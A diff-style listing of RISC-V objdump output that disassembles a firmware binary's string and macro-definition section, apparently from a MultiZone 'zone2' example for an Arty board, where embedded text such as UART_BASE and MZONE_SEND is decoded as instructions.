-    84f4:	495f 4d46 2954      	0x29544d46495f
-    84fa:	3d20                	fld	fs0,120(a0)
-    84fc:	203d                	jal	852a <__stack_size+0x7d2a>
-    84fe:	495f 4346 5248      	0x52484346495f
-    8504:	0029                	c.nop	10
-    8506:	4f49                	li	t5,18
-    8508:	5f56                	lw	t5,116(sp)
-    850a:	414d                	li	sp,19
-    850c:	2058                	fld	fa4,128(s0)
-    850e:	3031                	jal	7d1a <__stack_size+0x751a>
-    8510:	3432                	fld	fs0,296(sp)
-    8512:	7400                	flw	fs0,40(s0)
-    8514:	6172                	flw	ft2,28(sp)
-    8516:	5f70                	lw	a2,124(a4)
-    8518:	6168                	flw	fa0,68(a0)
-    851a:	646e                	flw	fs0,216(sp)
-    851c:	656c                	flw	fa1,76(a0)
-    851e:	0072                	c.slli	zero,0x1c
-    8520:	5f5f 4955 544e      	0x544e49555f5f
-    8526:	5f38                	lw	a4,120(a4)
-    8528:	414d                	li	sp,19
-    852a:	5f58                	lw	a4,60(a4)
-    852c:	205f 7830 6666      	0x66667830205f
-    8532:	2f00                	fld	fs0,24(a4)
-    8534:	6f68                	flw	fa0,92(a4)
-    8536:	656d                	lui	a0,0x1b
-    8538:	7369722f          	0x7369722f
-    853c:	742f7663          	bgeu	t5,sp,8c88 <__stack_size+0x8488>
-    8540:	736c6f6f          	jal	t5,cec76 <__stack_size+0xce476>
-    8544:	696e752f          	0x696e752f
-    8548:	7270                	flw	fa2,100(a2)
-    854a:	6b656a6f          	jal	s4,5ec00 <__stack_size+0x5e400>
-    854e:	2f74                	fld	fa3,216(a4)
-    8550:	7241                	lui	tp,0xffff0
-    8552:	7974                	flw	fa3,116(a0)
-    8554:	6d49                	lui	s10,0x12
-    8556:	6c70                	flw	fa2,92(s0)
-    8558:	6d65                	lui	s10,0x19
-    855a:	6e65                	lui	t3,0x19
-    855c:	6174                	flw	fa3,68(a0)
-    855e:	6974                	flw	fa3,84(a0)
-    8560:	7a2f6e6f          	jal	t3,fed02 <__stack_size+0xfe502>
-    8564:	32656e6f          	jal	t3,5e88a <__stack_size+0x5e08a>
-    8568:	5f00                	lw	s0,56(a4)
-    856a:	535f 424d 2046      	0x2046424d535f
-    8570:	7830                	flw	fa2,112(s0)
-    8572:	3030                	fld	fa2,96(s0)
-    8574:	3038                	fld	fa4,96(s0)
-    8576:	5f00                	lw	s0,56(a4)
-    8578:	4649                	li	a2,18
-    857a:	544d                	li	s0,-13
-    857c:	3020                	fld	fs0,96(s0)
-    857e:	3731                	jal	848a <__stack_size+0x7c8a>
-    8580:	3030                	fld	fa2,96(s0)
-    8582:	3030                	fld	fa2,96(s0)
-    8584:	5f00                	lw	s0,56(a4)
-    8586:	465f 544c 3233      	0x3233544c465f
-    858c:	5f58                	lw	a4,60(a4)
-    858e:	4f4e                	lw	t5,208(sp)
-    8590:	4d52                	lw	s10,20(sp)
-    8592:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    8598:	3120                	fld	fs0,96(a0)
-    859a:	372e                	fld	fa4,232(sp)
-    859c:	3739                	jal	84aa <__stack_size+0x7caa>
-    859e:	3936                	fld	fs2,360(sp)
-    85a0:	34333133          	0x34333133
-    85a4:	3638                	fld	fa4,104(a2)
-    85a6:	3332                	fld	ft6,296(sp)
-    85a8:	3531                	jal	83b4 <__stack_size+0x7bb4>
-    85aa:	31383037          	lui	zero,0x31383
-    85ae:	3534                	fld	fa3,104(a0)
-    85b0:	3732                	fld	fa4,296(sp)
-    85b2:	3234                	fld	fa3,96(a2)
-    85b4:	31333733          	0x31333733
-    85b8:	33343037          	lui	zero,0x33343
-    85bc:	3735                	jal	84e8 <__stack_size+0x7ce8>
-    85be:	2b65                	jal	8b76 <__stack_size+0x8376>
-    85c0:	46383033          	0x46383033
-    85c4:	00783233          	sltu	tp,a6,t2
-    85c8:	535f 5f43 4853      	0x48535f43535f
-    85ce:	4c45                	li	s8,17
-    85d0:	204c                	fld	fa1,128(s0)
-    85d2:	50003437          	lui	s0,0x50003
-    85d6:	4854                	lw	a3,20(s0)
-    85d8:	4552                	lw	a0,20(sp)
-    85da:	4441                	li	s0,16
-    85dc:	435f 4552 5441      	0x54414552435f
-    85e2:	5f45                	li	t5,-15
-    85e4:	4f4a                	lw	t5,144(sp)
-    85e6:	4e49                	li	t3,18
-    85e8:	4241                	li	tp,16
-    85ea:	454c                	lw	a1,12(a0)
-    85ec:	3120                	fld	fs0,96(a0)
-    85ee:	5000                	lw	s0,32(s0)
-    85f0:	494c                	lw	a1,20(a0)
-    85f2:	52505f43          	fmadd.d	ft10,ft0,ft5,fa0,unknown
-    85f6:	5f49                	li	t5,-14
-    85f8:	5346464f          	fnmadd.d	fa2,fa2,fs4,fa0,rmm
-    85fc:	5445                	li	s0,-15
-    85fe:	3020                	fld	fs0,96(s0)
-    8600:	4600                	lw	s0,8(a2)
-    8602:	4f4e                	lw	t5,208(sp)
-    8604:	424e                	lw	tp,208(sp)
-    8606:	4f49                	li	t5,18
-    8608:	5f20                	lw	s0,120(a4)
-    860a:	4e46                	lw	t3,80(sp)
-    860c:	4c424e4f          	0x4c424e4f
-    8610:	004b434f          	fnmadd.s	ft6,fs6,ft4,ft0,rmm
-    8614:	535f 5f43 5953      	0x59535f43535f
-    861a:	434e                	lw	t1,208(sp)
-    861c:	5248                	lw	a0,36(a2)
-    861e:	5a494e4f          	fnmadd.d	ft8,fs2,ft4,fa1,rmm
-    8622:	4445                	li	s0,17
-    8624:	495f 204f 3233      	0x3233204f495f
-    862a:	5f00                	lw	s0,56(a4)
-    862c:	425f 4745 4e49      	0x4e494745425f
-    8632:	445f 4345 534c      	0x534c4345445f
-    8638:	0020                	addi	s0,sp,8
-    863a:	43525343          	fmadd.d	ft6,ft4,fs5,fs0,unknown
-    863e:	6328                	flw	fa0,64(a4)
-    8640:	722c7273          	csrrci	tp,0x722,24
-    8644:	28202973          	csrr	s2,0x282
-    8648:	6e75207b          	0x6e75207b
-    864c:	6e676973          	csrrsi	s2,0x6e6,14
-    8650:	6465                	lui	s0,0x19
-    8652:	6c20                	flw	fs0,88(s0)
-    8654:	20676e6f          	jal	t3,7e85a <__stack_size+0x7e05a>
-    8658:	6472                	flw	fs0,28(sp)
-    865a:	6669203b          	0x6669203b
-    865e:	2820                	fld	fs0,80(s0)
-    8660:	5f5f 7562 6c69      	0x6c6975625f5f
-    8666:	6974                	flw	fa3,84(a0)
-    8668:	5f6e                	lw	t5,248(sp)
-    866a:	736e6f63          	bltu	t3,s6,8da8 <__stack_size+0x85a8>
-    866e:	6174                	flw	fa3,68(a0)
-    8670:	746e                	flw	fs0,248(sp)
-    8672:	705f 7228 2973      	0x29737228705f
-    8678:	2620                	fld	fs0,72(a2)
-    867a:	2026                	fld	ft0,72(sp)
-    867c:	7528                	flw	fa0,104(a0)
-    867e:	736e                	flw	ft6,248(sp)
-    8680:	6769                	lui	a4,0x1a
-    8682:	656e                	flw	fa0,216(sp)
-    8684:	2064                	fld	fs1,192(s0)
-    8686:	6f6c                	flw	fa1,92(a4)
-    8688:	676e                	flw	fa4,216(sp)
-    868a:	2829                	jal	86a4 <__stack_size+0x7ea4>
-    868c:	7372                	flw	ft6,60(sp)
-    868e:	2029                	jal	8698 <__stack_size+0x7e98>
-    8690:	203c                	fld	fa5,64(s0)
-    8692:	20293233          	0x20293233
-    8696:	7361                	lui	t1,0xffff8
-    8698:	206d                	jal	8742 <__stack_size+0x7f42>
-    869a:	6f76                	flw	ft10,92(sp)
-    869c:	616c                	flw	fa1,68(a0)
-    869e:	6974                	flw	fa3,84(a0)
-    86a0:	656c                	flw	fa1,76(a0)
-    86a2:	2820                	fld	fs0,80(s0)
-    86a4:	6322                	flw	ft6,8(sp)
-    86a6:	63727273          	csrrci	tp,0x637,4
-    86aa:	2069                	jal	8734 <__stack_size+0x7f34>
-    86ac:	3025                	jal	7ed4 <__stack_size+0x76d4>
-    86ae:	202c                	fld	fa1,64(s0)
-    86b0:	2022                	fld	ft0,8(sp)
-    86b2:	72736323          	0x72736323
-    86b6:	2220                	fld	fs0,64(a2)
-    86b8:	202c                	fld	fa1,64(s0)
-    86ba:	3125                	jal	82e2 <__stack_size+0x7ae2>
-    86bc:	2022                	fld	ft0,8(sp)
-    86be:	203a                	fld	ft0,392(sp)
-    86c0:	3d22                	fld	fs10,40(sp)
-    86c2:	2272                	fld	ft4,280(sp)
-    86c4:	7228                	flw	fa0,96(a2)
-    86c6:	2964                	fld	fs1,208(a0)
-    86c8:	3a20                	fld	fs0,112(a2)
-    86ca:	2220                	fld	fs0,64(a2)
-    86cc:	7228224b          	fnmsub.d	ft4,fa6,ft2,fa4,rdn
-    86d0:	3b292973          	csrrs	s2,pmpaddr2,s2
-    86d4:	6520                	flw	fs0,72(a0)
-    86d6:	736c                	flw	fa1,100(a4)
-    86d8:	2065                	jal	8780 <__stack_size+0x7f80>
-    86da:	7361                	lui	t1,0xffff8
-    86dc:	206d                	jal	8786 <__stack_size+0x7f86>
-    86de:	6f76                	flw	ft10,92(sp)
-    86e0:	616c                	flw	fa1,68(a0)
-    86e2:	6974                	flw	fa3,84(a0)
-    86e4:	656c                	flw	fa1,76(a0)
-    86e6:	2820                	fld	fs0,80(s0)
-    86e8:	6322                	flw	ft6,8(sp)
-    86ea:	63727273          	csrrci	tp,0x637,4
-    86ee:	2520                	fld	fs0,72(a0)
-    86f0:	2c30                	fld	fa2,88(s0)
-    86f2:	2220                	fld	fs0,64(a2)
-    86f4:	2320                	fld	fs0,64(a4)
-    86f6:	20727363          	bgeu	tp,t2,88fc <__stack_size+0x80fc>
-    86fa:	2c22                	fld	fs8,8(sp)
-    86fc:	2520                	fld	fs0,72(a0)
-    86fe:	2231                	jal	880a <__stack_size+0x800a>
-    8700:	3a20                	fld	fs0,112(a2)
-    8702:	2220                	fld	fs0,64(a2)
-    8704:	723d                	lui	tp,0xfffef
-    8706:	2822                	fld	fa6,8(sp)
-    8708:	6472                	flw	fs0,28(sp)
-    870a:	2029                	jal	8714 <__stack_size+0x7f14>
-    870c:	203a                	fld	ft0,392(sp)
-    870e:	7222                	flw	ft4,40(sp)
-    8710:	2822                	fld	fa6,8(sp)
-    8712:	7372                	flw	ft6,60(sp)
-    8714:	2929                	jal	8b2e <__stack_size+0x832e>
-    8716:	6472203b          	0x6472203b
-    871a:	297d203b          	0x297d203b
-    871e:	5500                	lw	s0,40(a0)
-    8720:	5241                	li	tp,-16
-    8722:	5f54                	lw	a3,60(a4)
-    8724:	4142                	lw	sp,16(sp)
-    8726:	30204553          	0x30204553
-    872a:	3178                	fld	fa4,224(a0)
-    872c:	3030                	fld	fa2,96(s0)
-    872e:	3331                	jal	843a <__stack_size+0x7c3a>
-    8730:	3030                	fld	fa2,96(s0)
-    8732:	0030                	addi	a2,sp,8
-    8734:	525f 4545 544e      	0x544e4545525f
-    873a:	535f 414d 4c4c      	0x4c4c414d535f
-    8740:	435f 4548 4b43      	0x4b434548435f
-    8746:	495f 494e 2854      	0x2854494e495f
-    874c:	7470                	flw	fa2,108(s0)
-    874e:	2972                	fld	fs2,280(sp)
-    8750:	0020                	addi	s0,sp,8
-    8752:	4c55                	li	s8,21
-    8754:	4f4c                	lw	a1,28(a4)
-    8756:	474e                	lw	a4,208(sp)
-    8758:	4d5f 5841 2820      	0x282058414d5f
-    875e:	4c4c                	lw	a1,28(s0)
-    8760:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    8764:	414d                	li	sp,19
-    8766:	2058                	fld	fa4,128(s0)
-    8768:	202a                	fld	ft0,136(sp)
-    876a:	5532                	lw	a0,44(sp)
-    876c:	4c4c                	lw	a1,28(s0)
-    876e:	2b20                	fld	fs0,80(a4)
-    8770:	3120                	fld	fs0,96(a0)
-    8772:	4c55                	li	s8,21
-    8774:	294c                	fld	fa1,144(a0)
-    8776:	5500                	lw	s0,40(a0)
-    8778:	4e49                	li	t3,18
-    877a:	5f54                	lw	a3,60(a4)
-    877c:	4146                	lw	sp,80(sp)
-    877e:	36315453          	0x36315453
-    8782:	4d5f 5841 5f00      	0x5f0058414d5f
-    8788:	465f 544c 3436      	0x3436544c465f
-    878e:	445f 4345 4d49      	0x4d494345445f
-    8794:	4c41                	li	s8,16
-    8796:	445f 4749 5f5f      	0x5f5f4749445f
-    879c:	3120                	fld	fs0,96(a0)
-    879e:	5f5f0037          	lui	zero,0x5f5f0
-    87a2:	4955                	li	s2,21
-    87a4:	544e                	lw	s0,240(sp)
-    87a6:	5450                	lw	a2,44(s0)
-    87a8:	5f52                	lw	t5,52(sp)
-    87aa:	414d                	li	sp,19
-    87ac:	5f58                	lw	a4,60(a4)
-    87ae:	205f 7830 6666      	0x66667830205f
-    87b4:	6666                	flw	fa2,88(sp)
-    87b6:	6666                	flw	fa2,88(sp)
-    87b8:	6666                	flw	fa2,88(sp)
-    87ba:	0055                	c.nop	21
-    87bc:	7a6d                	lui	s4,0xffffb
-    87be:	20656e6f          	jal	t3,5e9c4 <__stack_size+0x5e1c4>
-    87c2:	2e22                	fld	ft8,8(sp)
-    87c4:	64726f77          	0x64726f77
-    87c8:	3020                	fld	fs0,96(s0)
-    87ca:	3078                	fld	fa4,224(s0)
-    87cc:	3330                	fld	fa2,96(a4)
-    87ce:	3030                	fld	fa2,96(s0)
-    87d0:	3730                	fld	fa2,104(a4)
-    87d2:	00223b33          	sltu	s6,tp,sp
-    87d6:	5f46                	lw	t5,112(sp)
-    87d8:	4452                	lw	s0,20(sp)
-    87da:	434c                	lw	a1,4(a4)
-    87dc:	0031204b          	fnmsub.s	ft0,ft2,ft3,ft0,rdn
-    87e0:	535f 5f43 4853      	0x48535f43535f
-    87e6:	5241                	li	tp,-16
-    87e8:	4445                	li	s0,17
-    87ea:	4d5f 4d45 524f      	0x524f4d454d5f
-    87f0:	5f59                	li	t5,-10
-    87f2:	454a424f          	0x454a424f
-    87f6:	20535443          	fmadd.s	fs0,ft6,ft5,ft4,unknown
-    87fa:	5f003133          	0x5f003133
-    87fe:	465f 544c 3233      	0x3233544c465f
-    8804:	455f 5350 4c49      	0x4c495350455f
-    880a:	5f5f4e4f          	fnmadd.q	ft8,ft10,fs5,fa1,rmm
-    880e:	3120                	fld	fs0,96(a0)
-    8810:	312e                	fld	ft2,232(sp)
-    8812:	3239                	jal	8120 <__stack_size+0x7920>
-    8814:	3930                	fld	fa2,112(a0)
-    8816:	3832                	fld	fa6,296(sp)
-    8818:	3539                	jal	8626 <__stack_size+0x7e26>
-    881a:	3035                	jal	8046 <__stack_size+0x7846>
-    881c:	32313837          	lui	a6,0x32313
-    8820:	3035                	jal	804c <__stack_size+0x784c>
-    8822:	3030                	fld	fa2,96(s0)
-    8824:	3030                	fld	fa2,96(s0)
-    8826:	3030                	fld	fa2,96(s0)
-    8828:	3030                	fld	fa2,96(s0)
-    882a:	3030                	fld	fa2,96(s0)
-    882c:	3030                	fld	fa2,96(s0)
-    882e:	3030                	fld	fa2,96(s0)
-    8830:	3030                	fld	fa2,96(s0)
-    8832:	3030                	fld	fa2,96(s0)
-    8834:	2d65                	jal	8eec <__stack_size+0x86ec>
-    8836:	32334637          	lui	a2,0x32334
-    883a:	5000                	lw	s0,32(s0)
-    883c:	5049                	c.li	zero,-14
-    883e:	5f45                	li	t5,-15
-    8840:	5542                	lw	a0,48(sp)
-    8842:	2046                	fld	ft0,80(sp)
-    8844:	3135                	jal	8470 <__stack_size+0x7c70>
-    8846:	0032                	c.slli	zero,0xc
-    8848:	5f5f 5441 4d4f      	0x4d4f54415f5f
-    884e:	4349                	li	t1,18
-    8850:	435f 4e4f 5553      	0x55534e4f435f
-    8856:	454d                	li	a0,19
-    8858:	3120                	fld	fs0,96(a0)
-    885a:	5f00                	lw	s0,56(a4)
-    885c:	755f 756e 6573      	0x6573756e755f
-    8862:	2064                	fld	fs1,192(s0)
-    8864:	5f5f 7461 7274      	0x727474615f5f
-    886a:	6269                	lui	tp,0x1a
-    886c:	7475                	lui	s0,0xffffd
-    886e:	5f65                	li	t5,-7
-    8870:	285f 5f28 755f      	0x755f5f28285f
-    8876:	756e                	flw	fa0,248(sp)
-    8878:	5f646573          	csrrsi	a0,0x5f6,8
-    887c:	295f 0029 5f5f      	0x5f5f0029295f
-    8882:	4e49                	li	t3,18
-    8884:	5f54                	lw	a3,60(a4)
-    8886:	454c                	lw	a1,12(a0)
-    8888:	5341                	li	t1,-16
-    888a:	3154                	fld	fa3,160(a0)
-    888c:	5f36                	lw	t5,108(sp)
-    888e:	5954                	lw	a3,52(a0)
-    8890:	4550                	lw	a2,12(a0)
-    8892:	5f5f 7320 6f68      	0x6f6873205f5f
-    8898:	7472                	flw	fs0,60(sp)
-    889a:	6920                	flw	fs0,80(a0)
-    889c:	746e                	flw	fs0,248(sp)
-    889e:	5f00                	lw	s0,56(a4)
-    88a0:	555f 4e49 5f54      	0x5f544e49555f
-    88a6:	454c                	lw	a1,12(a0)
-    88a8:	5341                	li	t1,-16
-    88aa:	3654                	fld	fa3,168(a2)
-    88ac:	5f34                	lw	a3,120(a4)
-    88ae:	5954                	lw	a3,52(a0)
-    88b0:	4550                	lw	a2,12(a0)
-    88b2:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
-    88b8:	6f6c2067          	0x6f6c2067
-    88bc:	676e                	flw	fa4,216(sp)
-    88be:	7520                	flw	fs0,104(a0)
-    88c0:	736e                	flw	ft6,248(sp)
-    88c2:	6769                	lui	a4,0x1a
-    88c4:	656e                	flw	fa0,216(sp)
-    88c6:	2064                	fld	fs1,192(s0)
-    88c8:	6e69                	lui	t3,0x1a
-    88ca:	0074                	addi	a3,sp,12
-    88cc:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    88d2:	78655f73          	csrrwi	t5,0x786,10
-    88d6:	73756c63          	bltu	a0,s7,900e <__stack_size+0x880e>
-    88da:	7669                	lui	a2,0xffffa
-    88dc:	2865                	jal	8994 <__stack_size+0x8194>
-    88de:	2e2e                	fld	ft8,200(sp)
-    88e0:	292e                	fld	fs2,200(sp)
-    88e2:	5f20                	lw	s0,120(a4)
-    88e4:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    88ea:	6e61                	lui	t3,0x18
-    88ec:	6f6e                	flw	ft10,216(sp)
-    88ee:	6174                	flw	fa3,68(a0)
-    88f0:	6574                	flw	fa3,76(a0)
-    88f2:	6528                	flw	fa0,72(a0)
-    88f4:	6378                	flw	fa4,68(a4)
-    88f6:	756c                	flw	fa1,108(a0)
-    88f8:	65766973          	csrrsi	s2,0x657,12
-    88fc:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    8902:	7566                	flw	fa0,120(sp)
-    8904:	636e                	flw	ft6,216(sp)
-    8906:	6974                	flw	fa3,84(a0)
-    8908:	5f286e6f          	jal	t3,8eefa <__stack_size+0x8e6fa>
-    890c:	565f 5f41 5241      	0x52415f41565f
-    8912:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
-    8916:	2929                	jal	8d30 <__stack_size+0x8530>
-    8918:	5f00                	lw	s0,56(a4)
-    891a:	535f4353          	0x535f4353
-    891e:	4d45                	li	s10,17
-    8920:	4e5f 4553 534d      	0x534d45534e5f
-    8926:	4d5f 5841 3120      	0x312058414d5f
-    892c:	0036                	c.slli	zero,0xd
-    892e:	4e49                	li	t3,18
-    8930:	3354                	fld	fa3,160(a4)
-    8932:	5f32                	lw	t5,44(sp)
-    8934:	414d                	li	sp,19
-    8936:	2058                	fld	fa4,128(s0)
-    8938:	5f5f 4e49 3354      	0x33544e495f5f
-    893e:	5f32                	lw	t5,44(sp)
-    8940:	414d                	li	sp,19
-    8942:	5f58                	lw	a4,60(a4)
-    8944:	005f 535f 5f43      	0x5f43535f005f
-    894a:	5254                	lw	a3,36(a2)
-    894c:	4341                	li	t1,16
-    894e:	5f45                	li	t5,-15
-    8950:	5f535953          	0x5f535953
-    8954:	414d                	li	sp,19
-    8956:	2058                	fld	fa4,128(s0)
-    8958:	3938                	fld	fa4,112(a0)
-    895a:	5f00                	lw	s0,56(a4)
-    895c:	4350                	lw	a2,4(a4)
-    895e:	535f 4e59 5f43      	0x5f434e59535f
-    8964:	4f49                	li	t5,18
-    8966:	3120                	fld	fs0,96(a0)
-    8968:	0031                	c.nop	12
-    896a:	5f5f 7362 6177      	0x617773625f5f
-    8970:	3670                	fld	fa2,232(a2)
-    8972:	2834                	fld	fa3,80(s0)
-    8974:	785f 2029 5f5f      	0x5f5f2029785f
-    897a:	7562                	flw	fa0,56(sp)
-    897c:	6c69                	lui	s8,0x1a
-    897e:	6974                	flw	fa3,84(a0)
-    8980:	5f6e                	lw	t5,248(sp)
-    8982:	7362                	flw	ft6,56(sp)
-    8984:	36706177          	0x36706177
-    8988:	2834                	fld	fa3,80(s0)
-    898a:	785f 0029 505f      	0x505f0029785f
-    8990:	45525f43          	0x45525f43
-    8994:	4e495f43          	fmadd.q	ft10,fs2,ft4,fs1,unknown
-    8998:	585f5243          	fmadd.s	ft4,ft10,ft5,fa1,unknown
-    899c:	4546                	lw	a0,80(sp)
-    899e:	5f52                	lw	t5,52(sp)
-    89a0:	455a4953          	0x455a4953
-    89a4:	3120                	fld	fs0,96(a0)
-    89a6:	0036                	c.slli	zero,0xd
-    89a8:	465f 444e 4c45      	0x4c45444e465f
-    89ae:	5941                	li	s2,-16
-    89b0:	5f20                	lw	s0,120(a4)
-    89b2:	4e46                	lw	t3,80(sp)
-    89b4:	4c424e4f          	0x4c424e4f
-    89b8:	004b434f          	fnmadd.s	ft6,fs6,ft4,ft0,rmm
-    89bc:	5f5f 4347 5f43      	0x5f4343475f5f
-    89c2:	5441                	li	s0,-16
-    89c4:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    89c8:	575f 4843 5241      	0x52414843575f
-    89ce:	545f 4c5f 434f      	0x434f4c5f545f
-    89d4:	52465f4b          	fnmsub.d	ft10,fa2,ft4,fa0,unknown
-    89d8:	4545                	li	a0,17
-    89da:	3220                	fld	fs0,96(a2)
-    89dc:	5f00                	lw	s0,56(a4)
-    89de:	745f 6d69 7265      	0x72656d69745f
-    89e4:	745f 645f 6665      	0x6665645f745f
-    89ea:	6e69                	lui	t3,0x1a
-    89ec:	6465                	lui	s0,0x19
-    89ee:	0020                	addi	s0,sp,8
-    89f0:	5f5f 4953 455a      	0x455a49535f5f
-    89f6:	505f464f          	fnmadd.s	fa2,ft10,ft5,fa0,rmm
-    89fa:	5254                	lw	a3,36(a2)
-    89fc:	4944                	lw	s1,20(a0)
-    89fe:	4646                	lw	a2,80(sp)
-    8a00:	545f 5f5f 3420      	0x34205f5f545f
-    8a06:	5000                	lw	s0,32(s0)
-    8a08:	525f4d57          	0x525f4d57
-    8a0c:	4745                	li	a4,17
-    8a0e:	6f28                	flw	fa0,88(a4)
-    8a10:	6666                	flw	fa2,88(sp)
-    8a12:	29746573          	csrrsi	a0,0x297,8
-    8a16:	5f20                	lw	s0,120(a4)
-    8a18:	4552                	lw	a0,20(sp)
-    8a1a:	28323347          	fmsub.s	ft6,ft4,ft3,ft5,rup
-    8a1e:	5750                	lw	a2,44(a4)
-    8a20:	5f4d                	li	t5,-13
-    8a22:	4142                	lw	sp,16(sp)
-    8a24:	202c4553          	0x202c4553
-    8a28:	7366666f          	jal	a2,6f15e <__stack_size+0x6e95e>
-    8a2c:	7465                	lui	s0,0xffff9
-    8a2e:	0029                	c.nop	10
-    8a30:	58495f53          	0x58495f53
-    8a34:	2048544f          	fnmadd.s	fs0,fa6,ft4,ft4,unknown
-    8a38:	3030                	fld	fa2,96(s0)
-    8a3a:	3030                	fld	fa2,96(s0)
-    8a3c:	3030                	fld	fa2,96(s0)
-    8a3e:	0031                	c.nop	12
-    8a40:	4544                	lw	s1,12(a0)
-    8a42:	4646                	lw	a2,80(sp)
-    8a44:	4c49                	li	s8,18
-    8a46:	4d45                	li	s10,17
-    8a48:	2045444f          	fnmadd.s	fs0,fa0,ft4,ft4,rmm
-    8a4c:	5328                	lw	a0,96(a4)
-    8a4e:	495f 5552 5253      	0x52535552495f
-    8a54:	7c20                	flw	fs0,120(s0)
-    8a56:	5320                	lw	s0,96(a4)
-    8a58:	495f 5557 5253      	0x52535557495f
-    8a5e:	7c20                	flw	fs0,120(s0)
-    8a60:	5320                	lw	s0,96(a4)
-    8a62:	495f 4752 5052      	0x50524752495f
-    8a68:	7c20                	flw	fs0,120(s0)
-    8a6a:	5320                	lw	s0,96(a4)
-    8a6c:	495f 4757 5052      	0x50524757495f
-    8a72:	7c20                	flw	fs0,120(s0)
-    8a74:	5320                	lw	s0,96(a4)
-    8a76:	495f 4f52 4854      	0x48544f52495f
-    8a7c:	7c20                	flw	fs0,120(s0)
-    8a7e:	5320                	lw	s0,96(a4)
-    8a80:	495f 4f57 4854      	0x48544f57495f
-    8a86:	0029                	c.nop	10
-    8a88:	5f5f 4c46 3354      	0x33544c465f5f
-    8a8e:	5832                	lw	a6,44(sp)
-    8a90:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-    8a96:	3220                	fld	fs0,96(a2)
-    8a98:	322e                	fld	ft4,232(sp)
-    8a9a:	3532                	fld	fa0,296(sp)
-    8a9c:	3730                	fld	fa2,104(a4)
-    8a9e:	38353833          	0x38353833
-    8aa2:	3035                	jal	82ce <__stack_size+0x7ace>
-    8aa4:	31303237          	lui	tp,0x31303
-    8aa8:	30333833          	0x30333833
-    8aac:	3039                	jal	82ba <__stack_size+0x7aba>
-    8aae:	3332                	fld	ft6,296(sp)
-    8ab0:	3732                	fld	fa4,296(sp)
-    8ab2:	3731                	jal	89be <__stack_size+0x81be>
-    8ab4:	34323333          	0x34323333
-    8ab8:	3430                	fld	fa2,104(s0)
-    8aba:	3630                	fld	fa2,104(a2)
-    8abc:	2d65                	jal	9174 <__stack_size+0x8974>
-    8abe:	46383033          	0x46383033
-    8ac2:	00783233          	sltu	tp,a6,t2
-    8ac6:	555f 4e49 3354      	0x33544e49555f
-    8acc:	5f32                	lw	t5,44(sp)
-    8ace:	5f54                	lw	a3,60(a4)
-    8ad0:	4544                	lw	s1,12(a0)
-    8ad2:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    8ad6:	4445                	li	s0,17
-    8ad8:	0020                	addi	s0,sp,8
-    8ada:	665f 6f6c 6b63      	0x6b636f6c665f
-    8ae0:	6966                	flw	fs2,88(sp)
-    8ae2:	656c                	flw	fa1,76(a0)
-    8ae4:	6628                	flw	fa0,72(a2)
-    8ae6:	2970                	fld	fa2,208(a0)
-    8ae8:	2820                	fld	fs0,80(s0)
-    8aea:	2828                	fld	fa0,80(s0)
-    8aec:	7066                	flw	ft0,120(sp)
-    8aee:	2d29                	jal	9108 <__stack_size+0x8908>
-    8af0:	5f3e                	lw	t5,236(sp)
-    8af2:	6c66                	flw	fs8,88(sp)
-    8af4:	6761                	lui	a4,0x18
-    8af6:	20262073          	csrs	hedeleg,a2
-    8afa:	5f5f 5353 5254      	0x525453535f5f
-    8b00:	2029                	jal	8b0a <__stack_size+0x830a>
-    8b02:	2030203f 5f5f203a 	0x5f5f203a2030203f
-    8b0a:	6f6c                	flw	fa1,92(a4)
-    8b0c:	615f6b63          	bltu	t5,s5,9122 <__stack_size+0x8922>
-    8b10:	69757163          	bgeu	a0,s7,9192 <__stack_size+0x8992>
-    8b14:	6572                	flw	fa0,28(sp)
-    8b16:	725f 6365 7275      	0x72756365725f
-    8b1c:	65766973          	csrrsi	s2,0x657,12
-    8b20:	2828                	fld	fa0,80(s0)
-    8b22:	7066                	flw	ft0,120(sp)
-    8b24:	2d29                	jal	913e <__stack_size+0x893e>
-    8b26:	5f3e                	lw	t5,236(sp)
-    8b28:	6f6c                	flw	fa1,92(a4)
-    8b2a:	29296b63          	bltu	s2,s2,8dc0 <__stack_size+0x85c0>
-    8b2e:	5300                	lw	s0,32(a4)
-    8b30:	495f 4253 4b4c      	0x4b4c4253495f
-    8b36:	6d28                	flw	fa0,88(a0)
-    8b38:	2029                	jal	8b42 <__stack_size+0x8342>
-    8b3a:	2828                	fld	fa0,80(s0)
-    8b3c:	6d28                	flw	fa0,88(a0)
-    8b3e:	2629                	jal	8e48 <__stack_size+0x8648>
-    8b40:	495f 4d46 2954      	0x29544d46495f
-    8b46:	3d20                	fld	fs0,120(a0)
-    8b48:	203d                	jal	8b76 <__stack_size+0x8376>
-    8b4a:	495f 4246 4b4c      	0x4b4c4246495f
-    8b50:	0029                	c.nop	10
-    8b52:	5f5f 4c46 3354      	0x33544c465f5f
-    8b58:	5832                	lw	a6,44(sp)
-    8b5a:	485f 5341 515f      	0x515f5341485f
-    8b60:	4955                	li	s2,21
-    8b62:	5445                	li	s0,-15
-    8b64:	4e5f 4e41 5f5f      	0x5f5f4e414e5f
-    8b6a:	3120                	fld	fs0,96(a0)
-    8b6c:	4d00                	lw	s0,24(a0)
-    8b6e:	4f5a                	lw	t5,148(sp)
-    8b70:	454e                	lw	a0,208(sp)
-    8b72:	535f 4e45 2844      	0x28444e45535f
-    8b78:	6f7a                	flw	ft10,156(sp)
-    8b7a:	656e                	flw	fa0,216(sp)
-    8b7c:	6d2c                	flw	fa1,88(a0)
-    8b7e:	20296773          	csrrsi	a4,hedeleg,18
-    8b82:	7b28                	flw	fa0,112(a4)
-    8b84:	7220                	flw	fs0,96(a2)
-    8b86:	6765                	lui	a4,0x19
-    8b88:	7369                	lui	t1,0xffffa
-    8b8a:	6574                	flw	fa3,76(a0)
-    8b8c:	2072                	fld	ft0,280(sp)
-    8b8e:	6975                	lui	s2,0x1d
-    8b90:	746e                	flw	fs0,248(sp)
-    8b92:	745f3233          	0x745f3233
-    8b96:	6120                	flw	fs0,64(a0)
-    8b98:	2030                	fld	fa2,64(s0)
